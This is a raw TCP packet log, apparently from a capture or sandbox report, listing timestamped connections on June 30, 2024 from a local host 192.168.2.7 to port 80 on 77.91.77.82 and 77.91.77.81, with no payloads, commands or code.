Jun 30, 2024 10:22:53.477281094 CEST	80	57385	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.477338076 CEST	57385	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.477443933 CEST	57385	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.581717968 CEST	80	57385	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.581733942 CEST	80	57385	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.589719057 CEST	57386	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.705228090 CEST	80	57386	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.705310106 CEST	57386	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.705550909 CEST	57386	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.790699005 CEST	80	57386	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.819448948 CEST	80	57386	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.820549965 CEST	57387	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.936713934 CEST	80	57387	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:53.936829090 CEST	57387	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:53.937032938 CEST	57387	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:54.069036961 CEST	80	57387	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:54.069142103 CEST	80	57387	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:54.182394028 CEST	57388	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:54.396120071 CEST	80	57388	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:54.396301985 CEST	57388	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:54.396493912 CEST	57388	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:54.915699959 CEST	57388	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:54.929471970 CEST	80	57388	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.013566017 CEST	80	57388	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.023408890 CEST	57389	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.120023966 CEST	80	57389	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.120176077 CEST	57389	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.120450974 CEST	57389	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.227555990 CEST	80	57389	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.229856968 CEST	80	57389	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.338511944 CEST	57390	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.444156885 CEST	80	57390	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.444252014 CEST	57390	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.444434881 CEST	57390	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.469638109 CEST	80	57390	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.486789942 CEST	80	57390	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.488790035 CEST	57391	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.516449928 CEST	80	57391	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.516746044 CEST	57391	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.516746044 CEST	57391	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.527110100 CEST	80	57391	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.626386881 CEST	80	57391	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.730809927 CEST	57392	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.745258093 CEST	80	57392	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.745378971 CEST	57392	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.745556116 CEST	57392	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.771544933 CEST	80	57392	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.866331100 CEST	80	57392	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.867419958 CEST	57393	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.886051893 CEST	80	57393	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.886208057 CEST	57393	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.886765003 CEST	57393	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:55.898353100 CEST	80	57393	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:55.931859016 CEST	80	57393	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.058860064 CEST	57394	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.064575911 CEST	80	57394	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.064677954 CEST	57394	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.065709114 CEST	57394	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.071006060 CEST	80	57394	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.125051022 CEST	80	57394	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.127477884 CEST	57395	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.144092083 CEST	80	57395	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.144253016 CEST	57395	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.144370079 CEST	57395	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.149926901 CEST	80	57395	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.220694065 CEST	80	57395	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.322871923 CEST	57396	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.404864073 CEST	80	57396	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.405145884 CEST	57396	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.405384064 CEST	57396	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.517046928 CEST	80	57396	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.517254114 CEST	80	57396	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.518258095 CEST	57397	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.658081055 CEST	80	57397	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.658171892 CEST	57397	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.658428907 CEST	57397	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:56.785033941 CEST	80	57397	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.787029982 CEST	80	57397	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:56.902615070 CEST	57398	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.086180925 CEST	80	57398	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.086308956 CEST	57398	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.086528063 CEST	57398	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.265178919 CEST	80	57398	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.265188932 CEST	80	57398	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.266432047 CEST	57399	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.335290909 CEST	80	57399	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.335391045 CEST	57399	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.335589886 CEST	57399	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.650110006 CEST	57399	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:57.655380011 CEST	80	57399	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.883342028 CEST	80	57399	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:57.994797945 CEST	57400	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.101608992 CEST	80	57400	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.101953030 CEST	57400	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.101953030 CEST	57400	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.181552887 CEST	80	57400	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.298531055 CEST	80	57400	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.301403999 CEST	57401	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.306638002 CEST	80	57401	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.306807995 CEST	57401	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.306881905 CEST	57401	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.313363075 CEST	80	57401	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.396718979 CEST	80	57401	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.510381937 CEST	57402	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.515464067 CEST	80	57402	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.515628099 CEST	57402	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.515795946 CEST	57402	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.520854950 CEST	80	57402	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.560453892 CEST	80	57402	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.562261105 CEST	57403	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.569053888 CEST	80	57403	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.569138050 CEST	57403	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.569268942 CEST	57403	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.585517883 CEST	80	57403	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.627638102 CEST	80	57403	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.745904922 CEST	57404	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.755526066 CEST	80	57404	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.755631924 CEST	57404	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.755748034 CEST	57404	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.768516064 CEST	80	57404	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.819580078 CEST	80	57404	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.820849895 CEST	57405	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.831830025 CEST	80	57405	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.831963062 CEST	57405	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.832333088 CEST	57405	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:58.837557077 CEST	80	57405	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:58.893429995 CEST	80	57405	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.010428905 CEST	57406	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.102458000 CEST	80	57406	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.102524042 CEST	57406	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.102792025 CEST	57406	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.233350039 CEST	80	57406	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.233434916 CEST	57406	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.233582973 CEST	57406	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.234057903 CEST	80	57406	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.236979008 CEST	57407	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.393115997 CEST	80	57406	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.393122911 CEST	80	57406	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.395118952 CEST	80	57407	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.395294905 CEST	57407	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.395512104 CEST	57407	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.482929945 CEST	80	57407	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.512645006 CEST	80	57407	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.619896889 CEST	57408	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.657134056 CEST	80	57408	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.657289982 CEST	57408	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.657497883 CEST	57408	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.673198938 CEST	80	57408	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.767806053 CEST	80	57408	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.768954992 CEST	57409	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.808345079 CEST	80	57409	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.808470964 CEST	57409	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.808682919 CEST	57409	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:59.888144970 CEST	80	57409	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:59.948318958 CEST	80	57409	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.058823109 CEST	57410	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.162297010 CEST	80	57410	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.162426949 CEST	57410	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.162611961 CEST	57410	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.204478979 CEST	80	57410	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.227520943 CEST	80	57410	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.228787899 CEST	57411	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.234230995 CEST	80	57411	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.234361887 CEST	57411	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.234438896 CEST	57411	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.239950895 CEST	80	57411	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.342114925 CEST	80	57411	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.449297905 CEST	57412	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.454562902 CEST	80	57412	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.454734087 CEST	57412	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.454893112 CEST	57412	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.460211992 CEST	80	57412	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.477283001 CEST	80	57412	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.479672909 CEST	57413	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.484983921 CEST	80	57413	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.485250950 CEST	57413	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.485250950 CEST	57413	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.491051912 CEST	80	57413	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.513571978 CEST	80	57413	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.619879961 CEST	57414	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.633816957 CEST	80	57414	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.633922100 CEST	57414	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.634095907 CEST	57414	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.639133930 CEST	80	57414	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.781891108 CEST	80	57414	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.783046007 CEST	57415	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.795176983 CEST	80	57415	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.795299053 CEST	57415	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.795424938 CEST	57415	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:00.801357031 CEST	80	57415	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:00.907883883 CEST	80	57415	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.027363062 CEST	57416	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.033200026 CEST	80	57416	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.033298016 CEST	57416	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.033444881 CEST	57416	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.040137053 CEST	80	57416	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.115534067 CEST	80	57416	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.117018938 CEST	57417	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.154864073 CEST	80	57417	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.154995918 CEST	57417	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.155200005 CEST	57417	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.179497957 CEST	80	57417	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.286000013 CEST	80	57417	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.401007891 CEST	57418	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.451643944 CEST	80	57418	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.452029943 CEST	57418	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.452029943 CEST	57418	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.464837074 CEST	80	57418	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.623897076 CEST	80	57418	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.626302004 CEST	57419	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.633239031 CEST	80	57419	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.633313894 CEST	57419	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.633434057 CEST	57419	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.638889074 CEST	80	57419	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.717638969 CEST	80	57419	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.825496912 CEST	57420	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.831541061 CEST	80	57420	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.831618071 CEST	57420	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.831927061 CEST	57420	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.837917089 CEST	80	57420	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.934798956 CEST	80	57420	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.971685886 CEST	57421	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.984810114 CEST	80	57421	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:01.984880924 CEST	57421	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.985443115 CEST	57421	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:01.996824026 CEST	80	57421	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:02.037702084 CEST	80	57421	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:02.257129908 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:02.263372898 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:02.263966084 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:02.292633057 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:02.330522060 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:02.987602949 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:02.987657070 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:02.989609957 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:02.996970892 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:03.219381094 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:03.219440937 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:03.223643064 CEST	57431	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:03.232243061 CEST	80	57431	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:03.232320070 CEST	57431	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:03.232480049 CEST	57431	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:03.238578081 CEST	80	57431	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:03.300246954 CEST	80	57431	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:08.307282925 CEST	57432	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:08.313095093 CEST	80	57432	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:08.313230038 CEST	57432	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:08.313456059 CEST	57432	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:08.318417072 CEST	80	57432	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:08.355537891 CEST	80	57432	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:13.372020960 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:13.385415077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:13.385579109 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:13.385729074 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:13.391391993 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093214989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093242884 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093256950 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093277931 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093393087 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093405008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093416929 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093429089 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093470097 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.093471050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.093471050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.093471050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.093626976 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093640089 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.093667984 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.093693972 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.098531008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.098568916 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.098579884 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.098598003 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.098643064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.098643064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.210321903 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210351944 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210362911 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210522890 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.210757017 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210774899 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210828066 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.210844040 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210856915 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210867882 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.210896015 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.210908890 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.211272001 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.211335897 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.211340904 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.211350918 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.211369991 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.211385012 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.211462975 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.211476088 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.211509943 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.212289095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.212301970 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.212312937 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.212337017 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.212368965 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.212408066 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.212421894 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.212449074 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.213140011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.213193893 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.213221073 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.213236094 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.213268042 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.213367939 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.213381052 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.213412046 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.215467930 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.215480089 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.215522051 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327469110 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327523947 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327536106 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327662945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327675104 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327769995 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327783108 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327809095 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327809095 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327809095 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327809095 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327868938 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327868938 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.327878952 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:14.327943087 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:14.328675032 CEST	80	57433	77.91.77.81	192.168.2.7
